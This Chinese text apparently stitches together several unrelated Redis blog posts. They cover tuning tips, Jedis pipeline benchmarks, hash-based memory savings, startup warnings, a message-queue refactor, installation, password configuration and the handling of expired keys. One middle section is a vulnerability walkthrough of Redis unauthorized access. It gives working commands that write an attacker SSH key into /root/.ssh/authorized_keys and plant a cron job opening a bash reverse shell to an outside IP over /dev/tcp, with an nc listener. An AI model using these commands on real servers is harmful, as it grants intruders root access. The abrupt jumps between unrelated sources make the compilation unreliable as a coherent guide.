标签：redis

本片博客，刚开始会讲解一下redis的基本优化，然后会举一些优化示例代码或实例。最后讲解一下，默认启动redis时，所报的一些警示错误。

优化的一些建议

1、尽量使用短的key

当然在精简的同时，不要完了key的“见名知意”。对于value有些也可精简，比如性别使用0、1。

**2、避免使用keys ***

keys *, 这个命令是阻塞的，即操作执行期间，其它任何命令在你的实例中都无法执行。当redis中key数据量小时到无所谓，数据量大就很糟糕了。所以我们应该避免去使用这个命令。可以去使用SCAN,来代替。

3、在存到Redis之前先把你的数据压缩下

redis为每种数据类型都提供了两种内部编码方式，在不同的情况下redis会自动调整合适的编码方式。

4、设置 key 有效期

我们应该尽可能的利用key有效期。比如一些临时数据（短信校验码），过了有效期Redis就会自动为你清除！

5、选择回收策略(maxmemory-policy)

当 Redis 的实例空间被填满了之后，将会尝试回收一部分key。根据你的使用方式，强烈建议使用 volatile-lru（默认） 策略——前提是你对key已经设置了超时。但如果你运行的是一些类似于 cache 的东西，并且没有对 key 设置超时机制，可以考虑使用 allkeys-lru 回收机制，具体讲解查看 。maxmemory-samples 3 是说每次进行淘汰的时候 会随机抽取3个key 从里面淘汰最不经常使用的（默认选项）

maxmemory-policy 六种方式 :

• volatile-lru：只对设置了过期时间的key进行LRU（默认值）
• allkeys-lru ： 是从所有key里 删除 不经常使用的key
• volatile-random：随机删除即将过期key
• allkeys-random：随机删除
• volatile-ttl ： 删除即将过期的
• noeviction ： 永不过期，返回错误

6、使用bit位级别操作和byte字节级别操作来减少不必要的内存使用。

• bit位级别操作：GETRANGE, SETRANGE, GETBIT and SETBIT
• byte字节级别操作：GETRANGE and SETRANGE

7、尽可能地使用hashes哈希存储。

8、当业务场景不需要数据持久化时，关闭所有的持久化方式可以获得最佳的性能。

9、想要一次添加多条数据的时候可以使用管道。

10、限制redis的内存大小（64位系统不限制内存，32位系统默认最多使用3GB内存）

数据量不可预估，并且内存也有限的话，尽量限制下redis使用的内存大小，这样可以避免redis使用swap分区或者出现OOM错误。（使用swap分区，性能较低，如果限制了内存，当到达指定内存之后就不能添加数据了，否则会报OOM错误。可以设置maxmemory-policy，内存不足时删除数据。）

11、SLOWLOG [get/reset/len]

• slowlog-log-slower-than 它决定要对执行时间大于多少微秒(microsecond，1秒 = 1,000,000 微秒)的命令进行记录。
• slowlog-max-len 它决定 slowlog 最多能保存多少条日志，当发现redis性能下降的时候可以查看下是哪些命令导致的。

优化实例分析

管道性能测试

redis的管道功能在命令行中没有，但是redis是支持管道的，在java的客户端(jedis)中是可以使用的：

示例代码

    //注：具体耗时，和自身电脑有关(博主是在虚拟机中运行的数据)
    /**
     * 不使用管道初始化1W条数据
     * 耗时：3079毫秒
     * @throws Exception
     */
    @Test
    public void NOTUsePipeline() throws Exception {
        Jedis jedis = JedisUtil.getJedis();
        long start_time = System.currentTimeMillis();
        for (int i = 0; i < 10000; i++) {
            jedis.set("aa_"+i, i+"");
        }
        System.out.println(System.currentTimeMillis()-start_time);
    }

    /**
     * 使用管道初始化1W条数据
     * 耗时：255毫秒
     * @throws Exception
     */
    @Test
    public void usePipeline() throws Exception {
        Jedis jedis = JedisUtil.getJedis();

        long start_time = System.currentTimeMillis();
        Pipeline pipelined = jedis.pipelined();
        for (int i = 0; i < 10000; i++) {
            pipelined.set("cc_"+i, i+"");
        }
        pipelined.sync();//执行管道中的命令
        System.out.println(System.currentTimeMillis()-start_time);
    }

hash的应用

示例：我们要存储一个用户信息对象数据，包含以下信息：
key为用户ID，value为用户对象（姓名，年龄，生日等）如果用普通的key/value结构来存储，主要有以下2种存储方式：

• 将用户ID作为查找key,把其他信息封装成一个对象以序列化的方式存储
  缺点：增加了序列化/反序列化的开销，引入复杂适应系统（Complex adaptive system，简称CAS）修改其中一项信息时，需要把整个对象取回，并且修改操作需要对并发进行保护。

• 用户信息对象有多少成员就存成多少个key-value对
  虽然省去了序列化开销和并发问题，但是用户ID为重复存储。

• Redis提供的Hash很好的解决了这个问题，提供了直接存取这个Map成员的接口。Key仍然是用户ID, value是一个Map，这个Map的key是成员的属性名，value是属性值。( 内部实现：Redis Hashd的Value内部有2种不同实现，Hash的成员比较少时Redis为了节省内存会采用类似一维数组的方式来紧凑存储，而不会采用真正的HashMap结构，对应的value redisObject的encoding为zipmap,当成员数量增大时会自动转成真正的HashMap,此时encoding为ht )。

Instagram内存优化

Instagram可能大家都已熟悉，当前火热的拍照App，月活跃用户3亿。四年前Instagram所存图片3亿多时需要解决一个问题：想知道每一张照片的作者是谁（通过图片ID反查用户UID），并且要求查询速度要相当的块，如果把它放到内存中使用String结构做key-value:

HSET "mediabucket:1155" "1155315" "939"
HGET "mediabucket:1155" "1155315"
"939"

测试：1百万数据会用掉70MB内存，3亿张照片就会用掉21GB的内存。当时(四年前)最好是一台EC2的 high-memory 机型就能存储（17GB或者34GB的，68GB的太浪费了）,想把它放到16G机型中还是不行的。

Instagram的开发者向Redis的开发者之一Pieter Noordhuis询问优化方案，得到的回复是使用Hash结构。具体的做法就是将数据分段，每一段使用一个Hash结构存储.

由于Hash结构会在单个Hash元素在不足一定数量时进行压缩存储，所以可以大量节约内存。这一点在上面的String结构里是不存在的。而这个一定数量是由配置文件中的hash-zipmap-max-entries参数来控制的。经过实验，将hash-zipmap-max-entries设置为1000时，性能比较好，超过1000后HSET命令就会导致CPU消耗变得非常大。

HSET "mediabucket:1155" "1155315" "939"
HGET "mediabucket:1155" "1155315"
"939"

测试：1百万消耗16MB的内存。总内存使用也降到了5GB。当然我们还可以优化，去掉mediabucket:key长度减少了12个字节。

HSET "1155" "315" "939"
HGET "1155" "315"
"939"

启动时WARNING优化

在我们启动redis时，默认会出现如下三个警告：

• 一、修改linux中TCP监听的最大容纳数量

WARNING: The TCP backlog setting of 511 cannot be enforced because 
/proc/sys/net/core/somaxconn is set to the lower value of 128.

在高并发环境下你需要一个高backlog值来避免慢客户端连接问题。注意Linux内核默默地将这个值减小到/proc/sys/net/core/somaxconn的值，所以需要确认增大somaxconn和tcp_max_syn_backlog两个值来达到想要的效果。

echo 511 > /proc/sys/net/core/somaxconn

注意：这个参数并不是限制redis的最大链接数。如果想限制redis的最大连接数需要修改maxclients，默认最大连接数为10000

• 二、修改linux内核内存分配策略

错误日志：WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. 
To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or 
run the command 'sysctl vm.overcommit_memory=1'

原因：
redis在备份数据的时候，会fork出一个子进程，理论上child进程所占用的内存和parent是一样的，比如parent占用的内存为8G，这个时候也要同样分配8G的内存给child,如果内存无法负担，往往会造成redis服务器的down机或者IO负载过高，效率下降。所以内存分配策略应该设置为 1（表示内核允许分配所有的物理内存，而不管当前的内存状态如何）。

内存分配策略有三种

可选值：0、1、2。

• 0， 表示内核将检查是否有足够的可用内存供应用进程使用；如果有足够的可用内存，内存申请允许；否则，内存申请失败，并把错误返回给应用进程。
• 1， 不管需要多少内存，都允许申请。
• 2， 只允许分配物理内存和交换内存的大小(交换内存一般是物理内存的一半)。

• 三、关闭Transparent Huge Pages(THP)

THP会造成内存锁影响redis性能，建议关闭

Transparent HugePages ：用来提高内存管理的性能
Transparent Huge Pages在32位的RHEL 6中是不支持的
执行命令 echo never > /sys/kernel/mm/transparent_hugepage/enabled
把这条命令添加到这个文件中/etc/rc.local

繁琐的等待

虽然后台管理功能是给客户使用，而且客户也从来没有向我们反映过这块的问题，但是作为一名软件工程师，是有信仰的，不仅是为了软件的功能完整性，还为了更高质量的用户体验。然而这些都是虚的，真正的原因是我们每个人都兼职测试，每次都要在导入数据后进行长时间无聊地等待结果返回。

功能由以下几点组成：

• 用户在后台上传.xml文件
• 程序解析.xml文件
• 将解析后的数据插入数据库表
• 根据业务合并新旧数据
• 统计数据

这样繁琐的步骤都在结果之间完成，漫长而无聊的等待正逐渐地榨干我对开发的激情。为了能给自己的信仰一个交代，我决定重构！声明：重构是不算工时和加班的，充其量能利用公司的场地、网络和电灯。

　　

Redis 消息队列

鉴于项目中已经使用了 Redis 缓存，为了维护简单，不引入新技术，我采用了 Redis 发布订阅者模式实现消息队列。不涉及分布式，也不涉及优先级，按顺序将消息压入 List，这些消息被不同的服务异步取出并执行相应的处理。

在用户上传.xml文件后，前台页面便返回类似“上传成功”的状态，同时，后台程序将其他处理封装成消息顺序插入List中，直至所有的消息都被异步取走并处理完成。

相比开始的“一条龙服务”，消息队列的应用使得各个任务可以异步完成，节省了时间，改善了用户体验。

首先，下载安装redis服务端+客户端

下载，解压，编译:

$ wget http://download.redis.io/releases/redis-3.2.9.tar.gz
$ tar xzf redis-3.2.9.tar.gz
$ cd redis-3.2.9$ make

#二进制文件是编译完成后在src目录下，通过下面的命令启动Redis服务：

$ src/redis-server
#你可以使用内置的客户端命令redis-cli进行使用：

$ src/redis-cli
    redis> set foo bar
    OK
redis> get foo"bar"

下载安装php-redis扩展： 地址：https://github.com/phpredis/phpredis/

$ wget http://pecl.php.net/get/redis-3.1.2.tgz
$ tar xzf redis-3.1.2.tgz 
$ cd redis-3.1.2/
$ phpize
$ ./configure --with-php-config=/usr/local/php/bin/php-config
#这里的php-config路径 根据自己实际情况而定
$  make && make install

#出现
#Installing shared extensions:/usr/local/php/lib/php/extensions/no-debug-non-zts-20131226/
#即为安装成功。
#打开php.in文件，并添加 extension=redis.so,保存退出即可
$ vim /usr/local/php/etc/php.ini
  #文件末尾添加 extension=redis.so
  #保存退出，

重启php+nginx服务，phpinfo中将会出现redis扩展信息

测试：

启动redis服务，

$ cd redis-3.1.2
$ src/redis-server

编辑test.php测试文件

<?php
$redis = new Redis();

$redis->connect('127.0.0.1', 6379);

$redis->set("name", "nango");
echo $redis->get('name');
?>

0x00 漏洞描述

Redis在默认情况会将服务绑定在0.0.0.0:6379上，从而将服务暴露在公网环境下，如果在没有开启安全认证的情况下，可以导致任意用户未授权访问Redis服务器并Redis进行读写操作。攻击者在未授权访问Redis服务器时可以通过上传公钥的方法将自己的公钥上传到Redis服务器上，达到免密登陆的效果。

0x01 环境搭建

首先选取Redis数据库版本为 redis-2.6.13 (高版本redis未授权访问漏洞已经被修复)，编译安装。

编译安装步骤是：

tar zxf redis-2.6.13.tar.gz

cd redis-2.6.13

make

make指令成功执行完毕之后，redis数据库就已经部署好了，如果我们要启动redis数据库的话： srcredis-server,如果是启动redis的连接工具的话，需要执行 srcredis-cli 。

0x02 漏洞利用方法

1. 利用ssh免密登陆方法获得shell

如果是想要使用ssh免密登陆方法来获得shell的情况下，首先Redis服务器的root用户目录下需要有.ssh文件，再就是配置文件中的 PermitRootLogin 的值需要改为 yes 。

如果上述两项都符合要求我们就可以一步一步的向下进行了。

(1) 生成公-私密钥对

使用ssh-keygen命令之后一路回车即可。

(2) 利用Redis未授权访问漏洞

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "nnnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kalinnn"
OK
192.168.63.130:6379> save
OK

(3)登陆

但上述步骤都做完之后，我们就可以通过 ssh 命令连接到redis的服务器上了。

2. 利用linux定时任务反射shell

定时任务反射shell主要是利用了linux系统的cron定时任务，通过向 /var/spool/cron/root中写入定时任务，来反弹shell。

处理流程：

CONFIG SET dir /var/spool/cron

CONFIG SET dbfilename root

set x "nn* * * * * /bin/bash -i >& /dev/tcp/192.168.199.230/5555 0>&1nn"

save

之后在本地主机上开放5555端口，侦听反弹的shell。

nc -lnvp 5555

配置外网访问

修改配置文件

bind 0.0.0.0

设置密码

requirepass password

设置进程

daemonize yes

修改默认端口

port 6379

开启redis进程

redis-server /etc/redis.conf

开机启动

#vim /etc/init.d/redis-server
#! /bin/sh
### BEGIN INIT INFO
# Provides:        redis-server
# Required-Start:    $syslog
# Required-Stop:    $syslog
# Should-Start:        $local_fs
# Should-Stop:        $local_fs
# Default-Start:    2 3 4 5
# Default-Stop:        0 1 6
# Short-Description:    redis-server - Persistent key-value db
# Description:        redis-server - Persistent key-value db
### END INIT INFO


PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/local/bin/redis-server
DAEMON_ARGS=/etc/redis.conf
NAME=redis-server
DESC=redis-server
PIDFILE=/var/run/redis.pid

test -x $DAEMON || exit 0
test -x $DAEMONBOOTSTRAP || exit 0

set -e

case "$1" in
  start)
    echo -n "Starting $DESC: "
    touch $PIDFILE
    chown redis:redis $PIDFILE
    if start-stop-daemon --start --quiet --umask 007 --pidfile $PIDFILE --chuid redis:redis --exec $DAEMON --background -- $DAEMON_ARGS
    then
        echo "$NAME."
    else
        echo "failed"
    fi
    ;;
  stop)
    echo -n "Stopping $DESC: "
    if start-stop-daemon --stop --retry 10 --quiet --oknodo --pidfile $PIDFILE --exec $DAEMON
    then
        echo "$NAME."
    else
        echo "failed"
    fi
    rm -f $PIDFILE
    ;;

  restart|force-reload)
    ${0} stop
    ${0} start
    ;;
  *)
    echo "Usage: /etc/init.d/$NAME {start|stop|restart|force-reload}" >&2
    exit 1
    ;;
esac

exit 0

赋予权限

chmod +x /etc/init.d/redis-server

设置开机启动

update-rc.d redis-server defaults

连接

redis-cli  -h 10.0.6.60 -p 6379 -a password

或者

➜  ~ redis-cli -h 10.0.6.60 -p 6379
10.0.6.60:6379> AUTH password
OK
10.0.6.60:6379> ping
PONG
10.0.6.60:6379>

Redis默认配置是不需要密码认证的，也就是说只要连接的Redis服务器的host和port正确，就可以连接使用。这在安全性上会有一定的问题，所以需要启用Redis的认证密码，增加Redis服务器的安全性。

1. 修改配置文件

Redis的配置文件默认在/etc/redis.conf，找到如下行：

#requirepass foobared

去掉前面的注释，并修改为所需要的密码：

requirepass myPassword （其中myPassword就是要设置的密码）

2. 重启Redis

如果Redis已经配置为service服务，可以通过以下方式重启：

service redis restart

如果Redis没有配置为service服务，可以通过以下方式重启：

/usr/local/bin/redis-cli shutdown  /usr/local/bin/redis-server /etc/redis.conf

3. 登录验证

设置Redis认证密码后，客户端登录时需要使用-a参数输入认证密码，不添加该参数虽然也可以登录成功，但是没有任何操作权限。如下：

$ ./redis-cli -h 127.0.0.1 -p 6379  127.0.0.1:6379> keys *  (error) NOAUTH Authentication required.

使用密码认证登录，并验证操作权限：

$ ./redis-cli -h 127.0.0.1 -p 6379 -a myPassword  127.0.0.1:6379> config get requirepass  1) "requirepass"  2) "myPassword"

看到类似上面的输出，说明Reids密码认证配置成功。

除了按上面的方式在登录时，使用-a参数输入登录密码外。也可以不指定，在连接后进行验证：

$ ./redis-cli -h 127.0.0.1 -p 6379  127.0.0.1:6379> auth myPassword  OK  127.0.0.1:6379> config get requirepass  1) "requirepass"  2) "myPassword"  127.0.0.1:6379> 

4. 在命令行客户端配置密码（redis重启前有效）

前面介绍了通过redis.conf配置密码，这种配置方式需要重新启动Redis。也可以通命令行客户端配置密码，这种配置方式不用重新启动Redis。配置方式如下：

127.0.0.1:6379> config set requirepass newPassword  OK  127.0.0.1:6379> config get requirepass  1) "requirepass"  2) "newPassword"

注意：使用命令行客户端配置密码，重启Redis后仍然会使用redis.conf配置文件中的密码。

5. 在Redis集群中使用认证密码

如果Redis服务器，使用了集群。除了在master中配置密码外，也需要在slave中进行相应配置。在slave的配置文件中找到如下行，去掉注释并修改与master相同的密码即可：

# masterauth master-password

以上就是本文的全部内容，希望对大家的学习有所帮助。

我们数据平台中有使用Redis来给线上提供低延时（20毫秒以内）的高并发读写请求，其中最大的Redis使用了阿里云的Redis集群（256G），存储的记录超过10亿，Key的有效期设置为15天，每天写入的记录大概5000万左右，QPS大概在6万左右。由于过期Key的产生速度大于Redis自动清理的速度，因此在Redis中会有大量过期Key未被及时清理。

为什么有过期的Key未被清理呢？这个得先熟悉一下Redis的删除策略。

Redis常用的删除策略有以下三种：

• 被动删除（惰性删除）：当读/写一个已经过期的Key时，会触发惰性删除策略，直接删除掉这个Key;
• 主动删除（定期删除）：Redis会定期巡检，来清理过期Key；
• 当内存达到maxmemory配置时候，会触发Key的删除操作；

另外，还有一种基于触发器的删除策略，因为对Redis压力太大，一般没人使用。

这里先介绍后两种删除策略（网上有很多说明）。

参考：http://www.cnblogs.com/chenpingzhao/p/5022467.html

主动删除（定期删除）

在 Redis 中，常规操作由 redis.c/serverCron 实现，它主要执行以下操作：

• 更新服务器的各类统计信息，比如时间、内存占用、数据库占用情况等。
• 清理数据库中的过期键值对。
• 对不合理的数据库进行大小调整。
• 关闭和清理连接失效的客户端。
• 尝试进行 AOF 或 RDB 持久化操作。
• 如果服务器是主节点的话，对附属节点进行定期同步。
• 如果处于集群模式的话，对集群进行定期同步和连接测试。

Redis 将 serverCron 作为时间事件来运行，从而确保它每隔一段时间就会自动运行一次， 又因为 serverCron 需要在 Redis 服务器运行期间一直定期运行， 所以它是一个循环时间事件：serverCron 会一直定期执行，直到服务器关闭为止。

在 Redis 2.6 版本中， 程序规定 serverCron 每秒运行 10 次， 平均每 100 毫秒运行一次。 从 Redis 2.8 开始， 用户可以通过修改 hz选项来调整 serverCron 的每秒执行次数， 具体信息请参考 redis.conf 文件中关于 hz 选项的说明。

也叫定时删除，这里的“定期”指的是Redis定期触发的清理策略，由位于src/redis.c的activeExpireCycle(void)函数来完成。

serverCron是由redis的事件框架驱动的定位任务，这个定时任务中会调用activeExpireCycle函数，针对每个db在限制的时间REDIS_EXPIRELOOKUPS_TIME_LIMIT内迟可能多的删除过期key，之所以要限制时间是为了防止过长时间 的阻塞影响redis的正常运行。这种主动删除策略弥补了被动删除策略在内存上的不友好。

因此，Redis会周期性的随机测试一批设置了过期时间的key并进行处理。测试到的已过期的key将被删除。典型的方式为,Redis每秒做10次如下的步骤：

• 随机测试100个设置了过期时间的key
• 删除所有发现的已过期的key
• 若删除的key超过25个则重复步骤1

这是一个基于概率的简单算法，基本的假设是抽出的样本能够代表整个key空间，redis持续清理过期的数据直至将要过期的key的百分比降到了25%以下。这也意味着在任何给定的时刻已经过期但仍占据着内存空间的key的量最多为每秒的写操作量除以4.

Redis-3.0.0中的默认值是10，代表每秒钟调用10次后台任务。

除了主动淘汰的频率外，Redis对每次淘汰任务执行的最大时长也有一个限定，这样保证了每次主动淘汰不会过多阻塞应用请求，以下是这个限定计算公式：

#define ACTIVE_EXPIRE_CYCLE_SLOW_TIME_PERC 25 /* CPU max % for keys collection */

…

timelimit = 1000000*ACTIVE_EXPIRE_CYCLE_SLOW_TIME_PERC/server.hz/100;

hz调大将会提高Redis主动淘汰的频率，如果你的Redis存储中包含很多冷数据占用内存过大的话，可以考虑将这个值调大，但Redis作者建议这个值不要超过100。我们实际线上将这个值调大到100，观察到CPU会增加2%左右，但对冷数据的内存释放速度确实有明显的提高（通过观察keyspace个数和used_memory大小）。

可以看出timelimit和server.hz是一个倒数的关系，也就是说hz配置越大，timelimit就越小。换句话说是每秒钟期望的主动淘汰频率越高，则每次淘汰最长占用时间就越短。这里每秒钟的最长淘汰占用时间是固定的250ms（1000000*ACTIVE_EXPIRE_CYCLE_SLOW_TIME_PERC/100），而淘汰频率和每次淘汰的最长时间是通过hz参数控制的。

从以上的分析看，当redis中的过期key比率没有超过25%之前，提高hz可以明显提高扫描key的最小个数。假设hz为10，则一秒内最少扫描200个key（一秒调用10次*每次最少随机取出20个key），如果hz改为100，则一秒内最少扫描2000个key；另一方面，如果过期key比率超过25%，则扫描key的个数无上限，但是cpu时间每秒钟最多占用250ms。

当REDIS运行在主从模式时，只有主结点才会执行上述这两种过期删除策略，然后把删除操作”del key”同步到从结点。

maxmemory

当前已用内存超过maxmemory限定时，触发主动清理策略，这些策略可以配置（参数maxmemory-policy），包括以下几个：

• volatile-lru：从已设置过期时间的数据集（server.db[i].expires）中挑选最近最少使用的数据淘汰

• volatile-ttl：从已设置过期时间的数据集（server.db[i].expires）中挑选将要过期的数据淘汰

• volatile-random：从已设置过期时间的数据集（server.db[i].expires）中任意选择数据淘汰

• allkeys-lru：从数据集（server.db[i].dict）中挑选最近最少使用的数据淘汰

• allkeys-random：从数据集（server.db[i].dict）中任意选择数据淘汰

• no-enviction（驱逐）：禁止驱逐数据

当mem_used内存已经超过maxmemory的设定，对于所有的读写请求，都会触发redis.c/freeMemoryIfNeeded(void)函数以清理超出的内存。注意这个清理过程是阻塞的，直到清理出足够的内存空间。所以如果在达到maxmemory并且调用方还在不断写入的情况下，可能会反复触发主动清理策略，导致请求会有一定的延迟。

清理时会根据用户配置的maxmemory-policy来做适当的清理（一般是LRU或TTL），这里的LRU或TTL策略并不是针对redis的所有key，而是以配置文件中的maxmemory-samples个key作为样本池进行抽样清理。

总结与备忘

如果Redis中每天过期大量Key（比如几千万），那么必须得考虑过期Key的清理：

• 增加Redis主动清理的频率（通过调大hz参数）；

• 手动清理过期Key，最简单的方法是进行scan操作，scan操作会触发第一种被动删除，scan操作时候别忘了加count；

• dbsize命令返回的Key数量，包含了过期Key；

• randomkey命令返回的Key，不包含过期Key；

• scan命令返回的Key，包含过期Key；

• info命令返回的# Keyspace：

• db6:keys=1034937352,expires=994731489,avg_ttl=507838502

• keys对应的Key数量等同于dbsize；

• expires指的是设置了过期时间的Key数量；

• avg_ttl指设置了过期时间的Key的平均过期时间（单位：毫秒）；